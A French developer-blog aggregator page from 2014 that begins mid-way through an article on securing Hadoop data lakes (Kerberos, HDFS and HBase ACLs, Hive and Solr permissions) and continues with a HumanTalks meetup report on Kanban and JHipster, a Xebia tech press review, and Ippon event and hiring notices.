Par ailleurs le fait qu’un datalake ne soit pas qu’un simple stockage sur HDFS mais un ensemble de solutions de stockage co-localisĂ©es (Fichiers, SQL, NoSQL, Recherche) ne simplifie pas la problĂ©matique.

Du coup,  cette communication sur le Data Lake s’accompagne de plus en plus d’une communication axĂ©e sur la sĂ©curisation d’Hadoop.

Mais oĂč en est vraiment la sĂ©curisation d’Hadoop ? Quelles options pour efficacement sĂ©curiser un Data Lake ?

De quoi est constitué le cluster Hadoop de 2014 ?

En terme de technologies impliquant du stockage de données, le cluster 2014 couvre quatre domaines assez différents :

  • Les donnĂ©es brutes : HDFS
  • Les bases NoSQL : HBase
  • Les bases SQL : principalement Hive
  • Les index de moteur de recherche : Solr

Chacun vient avec sa ou ses technologies, parfois avec des recouvrements mais surtout, avec des capacitĂ©s de sĂ©curisation diffĂ©rentes. Dans la suite de cet article, nous nous limiterons aux technologies citĂ©es ci dessus, Ă©tant celles que nous estimons les plus utilisĂ©es et donc pertinentes dans le cadre d’un data lake, aujourd’hui.

Kerberos, socle commun de toute sĂ©curisation d’un cluster

Ce fait commence Ă  ĂȘtre bien connu. Le socle nĂ©cessaire Ă  toute sĂ©curisation d’un cluster Hadoop est Kerberos.

En effet, Kerberos fournit une authentification forte de maniĂšre transverse pour les applications d’un cluster.

Le corollaire Ă©tant que toute communication entre plusieurs clusters Hadoop est la mise en place de ce que l’on appelle des trusts entre domaines Kerberos.

Dans une perspective de production, cela signifie qu’il est pertinent et nĂ©cessaire d’impliquer trĂšs tĂŽt l’expertise sĂ©curitĂ©, dĂšs le cadrage de l’architecture d’une plateforme Hadoop.

Kerberos peut ĂȘtre gĂ©rĂ© au choix au moyen d’un couple LDAP / KDC MIT dont FreeIPA fournit un ensemble pratique Ă  utiliser ou Active Directory.

Dans les deux cas, les utilisateurs ainsi que les groupes gérés par la partie LDAP seront ceux disponibles sur le cluster, que ce soit pour les permissions de HDFS, de HBase, 


Par ailleurs, l’intĂ©gration d’un domaine Active Directory (si vous utilisez dĂ©jĂ  AD en interne) est par ailleurs, une excellente maniĂšre d’intĂ©grer rapidement la gestion des identitĂ©s du ou des clusters dans les process traditionnels. En revanche bien que le provisionnement de comptes et de groupes Unix puissent ĂȘtre standards, il faudra prĂ©voir du code spĂ©cifique pour Ă©tendre ce provisionnement aux espaces et quotas sur le cluster Hadoop (HDFS, Hive, 
).

 

Les données brutes, un domaine mature

Les données brutes sont généralement stockées sur HDFS. Les fichiers arrivant sur la plateforme étant simplement déversés dans un répertoire.

Le contrĂŽle d’accĂšs sur HDFS s’effectue au moyen d’ACLs Ă©tendues, conformes Ă  la spĂ©cification POSIX. Cela n’offre pas la flexibilitĂ© des ACLs Windows mais cette relative simplicitĂ© permet d’un autre cĂŽtĂ© une mise en oeuvre assez rapide et sans douleurs par rapport au prĂ©cĂ©dent mode de fonctionnement POSIX standard (UGO, Utilisateur, Groupe, Other).

Ainsi il est possible de définir un propriétaire et des permissions restreintes par défaut puis de gérer une liste de permissions POSIX standard par répertoire en fonction des besoins.

Lesquels groupes et utilisateurs provenant comme expliqué plus haut, du LDAP et étant donc gérés en central.

 

Les bases NoSQL, des ACLs présentes depuis longtemps

En ce qui concerne le NoSQL, HBase est le choix d’une stack Hadoop.

Ce dernier supporte des ACLs Ă©tendues par namespace (l’Ă©quivalent d’une base de donnĂ©es dans le monde SQL). De plus, elles ne suivent pas le modĂšle POSIX et offrent un niveau de finesse supplĂ©mentaire avec la notion de droit de crĂ©ation (notĂ© ‘C’) et d’administration (notĂ© ‘A’).

Ainsi, il est possible de sĂ©parer l’administrateur d’un namespace — par exemple uniquement l’Ă©quipe d’exploitation — de ses utilisateurs, qu’ils puissent Ă©crire ou simplement lire les donnĂ©es.

 

Les bases SQL, une sécurisation encore grosse maille

En ce qui concerne le SQL, Hive délÚgue sa sécurisation aux permissions HDFS sans ACLs.

Cela est valable pour les donnĂ©es, ce qui est logique puisqu’une table tout comme une base de donnĂ©es se matĂ©rialise par un rĂ©pertoire sur HDFS dans Hive.

C’est Ă©galement valable pour les habilitations du metastore qui sont elles stockĂ©es dans une base SQL standard externe au cluster.

Par ailleurs, un nouveau mode de sécurisation est récemment apparu, le StdSQLAuth.

Son objectif est d’apporter une sĂ©curitĂ© du niveau de ce que l’on retrouve dans les bases SQL traditionnelles et ainsi rattraper le retard de Hive en la matiĂšre.

Avec le StdSQLAuth, il sera ainsi possible de gĂ©rer les bases et les tables Hive au moyen d’un ensemble de rĂŽles auxquels on attribut des habilitations fines (une habilitation correspondant Ă  un type d’opĂ©ration SQL).

Les process traditionnels de gestion d’habilitation aux bases de donnĂ©es pourront ainsi ĂȘtre appliquĂ©s tels quels.

Cependant, comme nombre des nouvelles fonctionnalitĂ©s et produits qui apparaissent sur Hadoop ces temps ci, ce mode n’est pas encore totalement sec, il n’est donc pas encore conseillĂ© de s’en servir en production.

Par consĂ©quent, le mode de sĂ©curisation de Hive le plus pertinent et stable aujourd’hui est de se baser sur les permissions HDFS sans ACLs. La version supportant les ACLs sera intĂ©grĂ©e Ă  partir de Hive 0.14.

Dans le cadre d’un data lake, l’impact en terme de sĂ©curisation est que l’on doit modĂ©liser les accĂšs en se basant sur des permissions POSIX  standard (Utilisateur, Groupe, Other) pour gĂ©rer les accĂšs.

Cela signifie deux choses :

  • le propriĂ©taire d’une base ou d’une table est le seul utilisateur habilitĂ© Ă  Ă©crire des donnĂ©es ou crĂ©er des tables (Ă  noter que par dĂ©faut le crĂ©ateur d’une table est automatiquement son propriĂ©taire)
  • le groupe d’une base ou d’une table correspond aux utilisateurs habilitĂ©s soit Ă  lire, soit Ă  lire et Ă©crire les donnĂ©es. Sans ACLs, impossible d’avoir les deux types d’accĂšs sans ouvrir la base ou la table au reste du monde (permission Other)

Ainsi, mĂȘme en revenant sur un modĂšle de permission POSIX standard, on peut obtenir une sĂ©curisation forte et un contrĂŽle strict des accĂšs Ă  des donnĂ©es stockĂ©es sur Hive pour peu que l’on ne souhaite pas avoir plusieurs typologies d’accĂšs Ă  une mĂȘme table (soit lecture, soit lecture et Ă©criture pour tous les habilitĂ©s).

 

Les index de moteur de recherche

Dans son intĂ©gration sur la stack Hadoop, SolR fourni un connecteur pour stocker son index sur HDFS. Ce dernier supportant Kerberos, il est possible d’utiliser le modĂšle de permissions POSIX standard afin de gĂ©rer les habilitations Ă  l’index du moteur.

Pourquoi pas les ACLs HDFS ?

Aujourd’hui, le connecteur SolR sur HDFS permet d’y stocker l’index. En revanche l’alimentation de ce dernier s’effectue par des jobs MapReduce qui le mettent Ă  jour en mode batch.

Ainsi, si le propriĂ©taire des rĂ©pertoires de l’index doit ĂȘtre l’utilisateur faisant tourner le processus Solr, le groupe peut ĂȘtre celui du ou des utilisateurs exĂ©cutant les batchs MapReduce d’alimentation de ce dernier.

 

Pour aller plus loin ?

Dans cet article, nous nous sommes volontairement limités à des solutions disponibles sur les dépÎts Apache afin de traiter au maximum le PGDC entre les éditeurs du marché.

MalgrĂ© cela et bien que des progrĂšs restent Ă  faire dans certains domaines (on pense notamment Ă  Hive), l’isolation des donnĂ©es est un sujet qui peut ĂȘtre relativement bien traitĂ© sur Hadoop aujourd’hui.

Peut on pousser la sĂ©curisation plus loin, notamment lorsque l’on opĂšre dans des contextes fortement rĂšglementĂ©s ? Tout dĂ©pend des outils, HBase par exemple, sait faire du cryptage par table ou column family et des solutions d’anonymisation et de tokenisation — dĂ©jĂ  utilisĂ©es notamment dans le secteur bancaire — sont disponibles (Voltage, Protegrity, 
). Mais tout cela pourrait faire l’objet d’un prochain article !

Articles suggested :

  1. GemFire et traitement distribué
  2. Etat de l’art : Business Intelligence en 2013
  3. OCTO Suisse Ă©tait Ă  SoftShake 2013

Catégories: Blog Société

Rencontrez Ippon le Vendredi 24 Octobre au salon RemixJobsDay

Blog d’Ippon Technologies - ven, 10/17/2014 - 13:15

En ce moment, voici les talents (H/F) que nous recherchons sur Paris :

- Java Hipster

- DĂ©veloppeur JavaEE Front-End & Back-End

- DĂ©veloppeur Java BigData et/ou NoSQL

- Full Stack DĂ©veloppeur

- DĂ©veloppeur Play/Scala

- DevOps pour notre filiale dédiée Hébergement Java

- Coach Agile

- Scrum Master

- Chef de Projet Technique

- Architecte JavaEE

- User eXperience Manager

- UX/UI Engineer

- Webdesigner

- IngĂ©nieur d’affaires

- Talent Acquisition Specialist

Rendez-vous Vendredi 24 Octobre dans les salons de l’hĂŽtel de ville de la Mairie de Paris, entre 14h et 20h. L’entrĂ©e est gratuite.

Venez nous rencontrer !

… et si vous ne pouvez pas venir au RemixJobsDay, vous pouvez toujours nous envoyer un mail Ă  recrutement@ippon.fr ;)

Catégories: Blog Société

CR HumanTalks Octobre 2014

Mardi 14, comme tous les deuxiĂšme mardis de chaque mois, c’Ă©tait les HumanTalks. Cette fois, c’Ă©tait Criteo qui accueillait l’Ă©venement. On a eu le droit Ă  4 prĂ©sentations, prĂ©cĂ©dĂ©es d’une petite prĂ©sentation de Criteo.

Criteo fait de la publicitĂ©, et sachant que c’est pas la chose qui excite le plus les dĂ©veloppeurs, ils se prĂ©sentent surtout comme une boite de techos, avec une stack de technos hĂ©tĂ©roclite et sexy. Ils annoncent aussi trĂšs clairement qu’ils payent trĂšs bien, mais qu’ils ont un process de recrutement trĂšs difficile. C’Ă©tait clair, c’Ă©tait franc, et on a rapidement enchainĂ© sur la premiĂšre prĂ©sentation.

Developers in tech

PrĂ©sentĂ© par Jean-loup Karst de breaz.io, un site de recherche d’emploi pour dĂ©veloppeurs. Breaz « mets aux enchĂšres » 7 Ă  10 dĂ©veloppeurs par mois, dont les profils sont alors accessibles aux entreprises enregistrĂ©es. Les entreprises sont filtrĂ©es pour n’accepter que celles qui proposent de vrais produits techs (pas de SSII, pas d’agence, pas de gros comptes). Le dĂ©veloppeur se fait alors contacter par les entreprises qui sont intĂ©ressĂ©es par son profil.

Du coup, breaz a pas mal de stats sur les technos qui sont actuellement le plus recherchées, en back-end comme en front-end, et a pu nous faire un état des lieux. Les statistiques énoncées représentent une sélection de 100 sociétés parisiennes, créées depuis 2008, qui produisent un produit tech, donc elles ne sont clairement pas représentatives du parc mondial des applications actuellement en production.

Statistiques d'utilisation de technologies back-end

On remarque que c’est toujours PHP qui est demandĂ© majoritairement, avec Python, Node et Rails ensuite. Rails a subi une explosion en 2010 avant de redescendre progressivement, alors que Node au contraire a connu une montĂ©e Ă  la mĂȘme pĂ©riode. Java Ă©tait complĂ©tement absent du panel quand Ă  lui.

CotĂ© front-end, c’est sans surprise qu’on trouve Angular, Backbone et Ember majoritairement comme framework MVC. jQuery garde une place de choix dans la majoritĂ© des projets aussi.

A noter que si on compare ces statistiques aux chiffres mondiaux, englobant toutes les sociĂ©tĂ©s et tous les produits actuellement en production, on arrive Ă  des donnĂ©es complĂ©tement diffĂ©rentes. Node, Ruby, Angular et Backbone, ici trĂšs bien reprĂ©sentĂ©s, ne parviennent mĂȘme pas Ă  1% du parc mondial historique.

Dans les questions-rĂ©ponses qui ont suivi, il ressort que les profils qui ont un Github actif sont plus contactĂ©s que les autres. Pour l’entreprise cela est synonyme de passion, de curiositĂ©, et d’une facilitĂ© Ă  apprendre rapidement des langages diffĂ©rents.

Convaincre en quelques secondes

Le talk suivant, de Richard Hanna, Ă©tait intitulĂ© « Comment convaincre en quelques secondes ».

Il conseillait de ne pas faire confiance Ă  l’adage comme quoi l’habit ne fait pas le moine. Pour lui, si on est mal habillĂ©, notre interlocuteur va le remarquer, alors que si on est bien habillĂ©, c’est notre personnalitĂ© qu’il va remarquer. On juge de maniĂšre inconsciente sur les vĂȘtements, le costume.

Il nous propose ensuite de regarder ses interlocuteurs dans les yeux, et de sourire, afin de leur donner confiance. Se rĂ©peter mentalement 3 fois « Super, super, super » avant de prendre la parole pour ĂȘtre souriant.

Faire attention au langage corporel. Les bras fermĂ©s sur le torse est un signe de protection, on cherche Ă  cacher quelque chose, ce qui peut donner Ă  penser qu’on n’est pas honnĂȘte. Il faut chercher Ă  avoir un langage corporel proche de celui de notre interlocuteur, de maniĂšre Ă  le faire se sentir Ă  l’aise. Il ne s’agit pas lĂ  de singer ses mouvements, mais de prendre la mĂȘme posture sur une chaise par exemple.

Dans la formulation des idĂ©es, attention aux tournures nĂ©gatives, prĂ©fĂ©rer les tournures sans ambiguitĂ©. Par exemple, ne pas dire « C’est pas mauvais, il ne devrait pas y avoir de problĂšme », mais prĂ©ferer « C’est bien, tout va marcher parfaitement ».

GĂ©rez vos processus avec Kanban

Antoine Roux nous a fait un Ă©tat des lieux et un retour d’expĂ©rience de la mĂ©thodologie Kanban, qu’il mets en pratique dans sa sociĂ©tĂ© depuis 4 ans.

En tant que dĂ©veloppeur, notre mĂ©tier est de produire des applications oĂč chaque nouvelle feature va apporter quelque chose de plus Ă  l’utilisateur. Du coup, il nous faut rĂ©ussir Ă  trouver un processus qui nous permette de nous concentrer sur cet apport de valeur, de l’optimiser, et d’avoir un moyen de rĂ©pondre Ă  la sempiternelle question « Pour quand est-ce que ça sera prĂȘt ? ».

Ces questions, elles ne sont pas spĂ©cifiques au monde du developement informatique. Toyota s’est dĂ©jĂ  posĂ© les mĂȘmes questions, et a donc mis en place la mĂ©thodologie Kanban, qui lui a permis de devenir le premier constructeur auto. Les amĂ©ricains ont repris la technique sous un nom diffĂ©rent, le lean.

Le principe primordial est qu’on tire le flux du travail. Les phases en aval du processus vont tirer les phases amont. On ne commence rien tant qu’un n’a pas une demande client, et l’effet secondaire positif est qu’on ne crĂ©e pas de stock. On se concentre sur apporter de la valeur au client.

On a souvent dans nos projets des demandes qui n’avaient pas Ă©tĂ© prĂ©vues au dĂ©marrage. Dans le Kanban, ça fait partie intĂ©grante du processus. On accepte ce changement et on le prends en compte, tout est tournĂ© autour de ce principe.

Alors de maniĂšre concrĂšte, comment est-ce qu’on mets ça en place ? C’est pas bien compliquĂ©, il suffit d’avoir un mur, des post-its, du scotch et un marqueur. On crĂ©Ă© trois colonnes sur le mur : Todo, Doing, Done.

Nos tĂąches sont forcĂ©ment dans l’une de ces trois colonnes. Rien qu’avec ça on a une vue d’ensemble des tĂąches de notre projet. Tout ce qui n’est pas dans le Kanban n’est pas dans le process, et tout ce qui est dans le process est dans le Kanban. En un coup d’oeil on peut voir si on est sous l’eau ou si tout va bien. En utilisant un vrai mur physique plutot qu’une application, tout le monde voit le mĂȘme mur, tout le temps.

À partir de lĂ , on peut amĂ©liorer en ajoutant de nouvelles colonnes qui correspondent Ă  de vraies Ă©tapes du processus de la sociĂ©tĂ©. Par exemple, des colonnes backlog, dev, code review, QA, deploy, done. Mettre une colonne est trĂšs importante. La QA c’est pas quelque chose Ă  faire faire par une autre Ă©quipe, la qualitĂ© fait partie du processus. Ce qui est livrĂ©, donc arrivĂ© dans la colonne done est fait avec qualitĂ©. La colonne deploy est aussi importante, pour forcer l’Ă©quipe Ă  aller le plus loin possible vers les utilisateurs finaux.

Prochaine Ă©tape d’amĂ©lioration est d’ajouter les DOD (Definition of Done) entre les colonnes pour que les actions actions Ă  rĂ©aliser pour passer d’une colonne Ă  une autre soient claires. Les afficher sur le mur permet Ă  tous les nouveaux arrivants de rapidement comprendre comment fonctionne le processus.

Mais lĂ  oĂč on commence vraiment Ă  faire du Kanban by the book, c’est quand on ajoute la notion de WIP (Work In Progress). On indique une limite au nombre d’Ă©lĂ©ments dans une colonne, et en aucun cas cette limite ne peut ĂȘtre dĂ©placĂ©e. S’il n’y a pas la place pour passer un item, il faut alors concentrer tous les efforts pour faire baisser ce WIP, en tirant les tĂąches vers la droite pour les amener en done.

Exemple de Kanban illustrant un processus, avec du WIP et des DOD.

L’analogie qu’il donne est celle de l’autoroute. Si toutes les voitures de l’autoroute sont concentrĂ©es au mĂȘme endroit, tout avance lentement. Au contraire, si elles sont espacĂ©es, elles peuvent toutes aller Ă  leur vitesse maximum. En limitant le nombre de tĂąches possibles en parallele, on s’assure qu’elles soient terminĂ©es plus rapidement.

Afin d’isoler les possibles goulot d’Ă©tranglement, on fait un Stand-Up Meeting tous les matins pour voir les points de blocage et s’il y en a, on mets la prioritĂ© sur leur rĂ©solution avant toute autre chose.

Si toutes nos tĂąches ont environ la mĂȘme complexitĂ©, on peut trĂšs facilement estimer la durĂ©e moyenne de rĂ©solution d’une tache et donc planifier une date d’atterrissage du projet. La difficultĂ© arrive quand on a des tĂąches aux complexitĂ©s trĂšs diffĂ©rentes. Le plus simple est de commencer par dĂ©couper les grosses tĂąches en plusieurs tĂąches de taille plus petite. Les grosses tĂąches ont la facheuse tendance Ă  rester bloquĂ©es en Code Review trĂšs longtemps parce que personne n’a envie de faire la Code Review d’un gros morceau de code.

Le gros avantage du Kanban est qu’il s’adapte Ă  des processus existants, qu’il ne faut qu’un mur et quelques post-its pour commencer, et qu’on n’est pas obligĂ© de tout prendre dĂšs le dĂ©but, on peut ajouter les Ă©lĂ©ments au fur et Ă  mesure.

TrĂšs trĂšs bonne prĂ©sentation, j’ai enfin compris ce qu’Ă©tait rĂ©ellement Kanban.

Des personnes dans l’assistance ont confirmĂ© que cela fonctionnait trĂšs bien pour des Ă©quipes de support, ou de TMA, pour des listes de questions Ă  rĂ©pondre, etc.

JHipster

DerniÚre présentation à base de live-coding par Julien Dubois, créateur de JHipster.

JHipster est un gĂ©nĂ©rateur d’application Java/Angular, basĂ© sur Yeoman. C’est open-source, y a plein d’Ă©toiles et de forks sur GitHub et y a mĂȘme des projets en production qui l’utilisent.

Le J de JHipster est pour Java, et il vient avec une base de Spring (Spring Boot, Spring Security, Spring Data JPA), du cache, du clustering, des websockets. Le Hipster, c’est pour Angular, Grunt, Bower, HTML5 boilerplate et Twitter Bootstrap qui font la couche de front.

L’une des force de JHipster est l’ensemble d’outils qui viennent avec. CotĂ© Java on a le choix entre du Maven ou du Gradle et cotĂ© front c’est Grunt ou Gulp, au choix.

En termes pratiques, on lance un yo jhipster dans le terminal, on réponds à quelques questions (SQL/NoSQL, Gradle/Maven, Grunt/Gulp, Java 7/8, etc) et il nous prépare une application complÚte avec tout le tooling déjà configuré.pom.xml, Grunfile.js, package.json, bower.json, tests unitaires, tout est là.

Prompt de génération JHipster.

On n’a plus qu’Ă  lancer un petit coup de maven pour avoir un beau war executable qui contient tout le code back et front (minifiĂ©) prĂȘt Ă  ĂȘtre dĂ©ployĂ©. Il contient mĂȘme tout un tas de fonctions de generator pour crĂ©er des tables dans la base de donnĂ©es et les classes qui vont bien avec, ainsi que les possibles relations entre les objets.

On a aussi accĂšs Ă  une interface d’administration qui nous donne toutes les fonctions de CRUD basiques pour opĂ©rer sur nos objets, ainsi qu’une page de monitoring de la JVM.

C’Ă©tait vraiment bien pensĂ©, ça m’a presque donnĂ© envie de faire du Java.

Conclusion

Comme d’habitude, une trĂšs bonne session HumanTalks suivie de discussions passionantes autour de pizzas et de sushis. Les HumanTalks c’est tous les deuxiĂšme mardis de chaque mois, dans plusieurs villes de France. S’il y en a prĂšs de chez vous, je vous invite Ă  aller y faire un tour.

Catégories: Blog Société

VIDEO – Ippevent – Spring Integration par Thomas Escolan

Blog d’Ippon Technologies - jeu, 10/16/2014 - 14:01

Spring Integration implĂ©mente dans Spring les Enterprise Integration Patterns qui visent Ă  mettre en place une architecture dĂ©couplĂ©e, lĂ©gĂšre, orientĂ©e messages et Ă©vĂ©nements (Event Driven Architecture). Ainsi, diffĂ©rents protocoles peuvent ĂȘtre littĂ©ralement intĂ©grĂ©s aux projets Spring sans pour cela crĂ©er de dette technique.
Cette session propose de vous prĂ©senter un ensemble d’abstractions de trĂšs haut niveau, pouvant s’articuler souplement autour de canaux et d’adaptateurs en plus des outils qui permettent de mettre en place le routage, le dĂ©coupage et l’agrĂ©gation des messages.

Speaker : Thomas Escolan

Catégories: Blog Société

Revue de Presse Xebia

logo-revue-presse220
La revue de presse hebdomadaire des technologies Big Data, Cloud et Web, architectures Java et mobilité dans des environnements agiles, proposée par Xebia.

Agilité The top ten qualities of high performance teams http://www.gravatar.com/f23d9dee080a22a6bb65caad9997acedhttp://blog.xebia.fr/author/lperothttp://twitter.com/LudovicPEROTPar Ludovic Perot

Un billet court et direct sur le top 10 des qualitĂ©s des Ă©quipes trĂšs performantes. Je ne rĂ©siste pas Ă  l’envie de vous partager la premiĂšre : restez petits.

Un autre message fort : les Ă©quipes de rĂȘve ont plus de ‘doers’ que de rĂšveurs. La suite, c’est par ici. (http://leadershipfreak.wordpress.com/2014/09/21/the-top-ten-qualities-of-high-performance-teams/)

Je recommande particuliĂšrement la premiĂšre phrase de l’article, trĂšs drĂŽle.

One Experimental Possibility: Self-Organization from Component Teams to Feature Teams http://www.gravatar.com/f23d9dee080a22a6bb65caad9997acedhttp://blog.xebia.fr/author/lperothttp://twitter.com/LudovicPEROTPar Ludovic Perot

Dans ce billet (http://www.jrothman.com/blog/mpd/2014/09/one-experimental-possibility-self-organization-from-component-teams-to-feature-teams.html), Johanna Rothman nous prĂ©sente une situation peut-ĂȘtre familiĂšre. Elle dĂ©peint une structure oĂč l’organisation en vigueur est un agrĂ©gat d’Ă©quipes composant, des component teams.

Les problĂšmes ‘classiques’ de cette approche (qui peut faire sens) :

  • Vous avez des experts embarquĂ©s dans beaucoup d’Ă©quipes
  • Les experts doivent ĂȘtre multi-tĂąches pour servir beaucoup de projets, ce qui induit un coĂ»t du dĂ©lai
  • Vous ne dĂ©livrez pas des fonctionnalitĂ©s. Vous avez des soucis quand les composants sont ‘branchĂ©s’ les uns aux autres.

La proposition de Johanna ? D’expĂ©rimenter, sur 2 semaines et pour 3 Ă©quipes, des feature teams. Comment ? Pour quel rĂ©sultat ? La suite est dans l’article !

Qu’est-ce que la qualitĂ© ? http://www.gravatar.com/6beb8800b1d5d45c22ecc81062e12448http://blog.xebia.fr/author/nlochethttp://twitter.com/nicolaslochetPar Nicolas Lochet

Ce court article de Mike Cohn pose la question de la définition de la qualité.

La qualitĂ© est au coeur d’une approche Agile. Ce n’est pas une variable d’ajustement et on ne fait pas de compromis dessus. Quand un ajustement est nĂ©cessaire on prĂ©fĂšre ainsi arbitrer sur le dĂ©lais ou le pĂ©rimĂštre.

De fait, il est donc important de bien s’entendre sur ce que la notion recouvre.

Alors que nous limitons trop souvent notre dĂ©finition de la qualitĂ© Ă  l’absence de bugs dans le code, Mike Cohn nous propose une dĂ©finition centrĂ©e sur l’utilisateur que je vous invite donc Ă  dĂ©couvrir:

http://www.mountaingoatsoftware.com/blog/what-is-quality

Écrire de petites User Stories http://www.gravatar.com/6beb8800b1d5d45c22ecc81062e12448http://blog.xebia.fr/author/nlochethttp://twitter.com/nicolaslochetPar Nicolas Lochet

L’Ă©criture d’User Story est un exercice difficile. Alors que l’on cherche Ă  rĂ©duire l’effet tunnel qui rĂ©sulterait du dĂ©veloppement d’une User Story trop importante, l’art du dĂ©coupage est essentiel.

Ron Jeffries nous propose deux façons d’approcher une User Story diffĂ©remment afin de mieux la dĂ©couper. Les deux approches permettent de challenger le status quo. Aussi la prochaine fois que vous serez confrontĂ©s Ă  une User Story qui ressemble plus Ă  godzilla qu’au petit poucet, je vous invite Ă  les essayer!

http://xprogramming.com/articles/getting-small-stories/

MobilitĂ© Nouvelle version d’Android Studio (0.8.12) http://www.gravatar.com/63d261113651caa0dc887445c61ea48ahttp://blog.xebia.fr/author/blacroixhttp://github.com/blacroixPar Benjamin LACROIX

Les dĂ©veloppeurs d’Android Studio viennent de publier une nouvelle version (0.8.12). L’IDE intĂšgre maintenant un tout nouveau AVD manager permettant de crĂ©er rapidement des emulateurs directement depuis la fenĂȘtre de Run. Le choix de l’hardware et de l’OS est possible. HTTPS est utilisĂ© lorsqu’un nouveau projet Gradle est crĂ©Ă©. Il est dorĂ©navant possible de choisir l’ouverture des layouts en utilisant par dĂ©faut soit le Layout XML Editor soit le Layout Graphical Editor. Le namespace tools est disponible Ă  la complĂ©tion automatique dans l’Ă©diteur de layout XML. À noter que la version doit ĂȘtre tĂ©lĂ©chargĂ©e Ă  nouveau car plusieurs corrections dans le systĂšme de patch ont Ă©tĂ© faites. Lien vers la nouvelle sur le site d’Android : http://tools.android.com/recent/androidstudio0812released

Front Sortie de la version d’angular 1.3.0 http://www.gravatar.com/37a6259cc0c1dae299a7866489dff0bdhttp://blog.xebia.fr/author/blemoinehttp://twitter.com/benoit_lemoinehttp://github.com/mbretonPar Benoit Lemoine

Angular sort cette semaine en version 1.3.0 . Cette version est riche en nouveauté et en modification non rétro compatible avec la version 1.2, donc il est important de réfléchir à 2 fois avant de faire le bond vers cette toute derniÚre version. On trouvera un guide de migration ici. De la version 1.3.0, on pourra retenir entre autres :

  • La fin du support d’IE8
  • Le binding "une seule fois", qui permet de ne binder un Ă©lĂ©ment que la premiĂšre fois qu’il est affichĂ©, et donc gagner en performance. Pour cela, il suffit de prĂ©fixer l’expression part "::"
  • la disponibilitĂ© d’angular par NPM. On parle bien ici d’angular cotĂ© client, et pas cotĂ© node, contrairement Ă  ce que cette annonce pourrait laisser croire
  • de nouvelles directives (ngAria, ngModelOptions, ngMessages)
  • Une grande amĂ©lioration des performances
Back  Apache Storm: de l’idĂ©e au succĂšs http://twitter.com/RomainNVPar Romain Niveau

Nathan MÀrz, le créateur de Storm revient en détail sur la création du framework de traitement en temps réel de données.

Il revient sur la genĂšse du projet, son dĂ©veloppement jusqu’Ă  la dĂ©cision de la fondation Apache d’en faire un top level project.

Cette histoire donne un Ă©clairage intĂ©ressant sur la crĂ©ation et le dĂ©veloppement d’un projet open-source avec un cas concret. Storm est utilisĂ© aujourd’hui par les plus grandes entreprises de l’IT.

Pour dĂ©couvrir cette histoire, c’est ici.

Catégories: Blog Société

Ippevent : Lucy in the sky with Docker, avec David Gageot

Blog d’Ippon Technologies - mer, 10/15/2014 - 16:26

Description de la conférence :

“On parle beaucoup de Docker en ce moment. Je vais tenter de vous expliquer comment fonctionne Docker comme j’aurais aimĂ© qu’on me l’explique. Nous allons apprendre Ă  prendre en main Docker pour construire une application web Java 8 et la dĂ©ployer sur la Google Cloud Platform.”

AprĂšs l’Ippevent, profitez d’un buffet dĂźnatoire pour poser vos questions Ă  notre speaker.

Le speaker : David Gageot

David Gageot est dĂ©veloppeur indĂ©pendant. Sa passion ? L’Ă©criture de logiciels pointus mais simples. Il a pour leitmotiv d’ĂȘtre un facilitateur qui, par sa crĂ©ativitĂ© et son expertise, aide les Ă©quipes Ă  ĂȘtre plus innovantes et plus efficaces.

Il participe Ă  des projets Java depuis 1998, comme responsable R&D chez l’Ă©diteur Adesoft puis directeur technique chez Valtech Technology, CTO chez Algodeal, un fond d’investissement quantitatif puis dĂ©veloppeur chez SonarSource, la sociĂ©tĂ© derriĂšre Sonar.

Cet Ippevent se tiendra le jeudi 30 octobre 2014, Ă  partir de 19 heures, Ă  Paris dans les locaux d’Ippon situĂ©s 47 Avenue de la Grande ArmĂ©e.

 

Catégories: Blog Société

Partagez la connaissance

Partagez BlogsdeDeveloppeurs.com sur les réseaux sociaux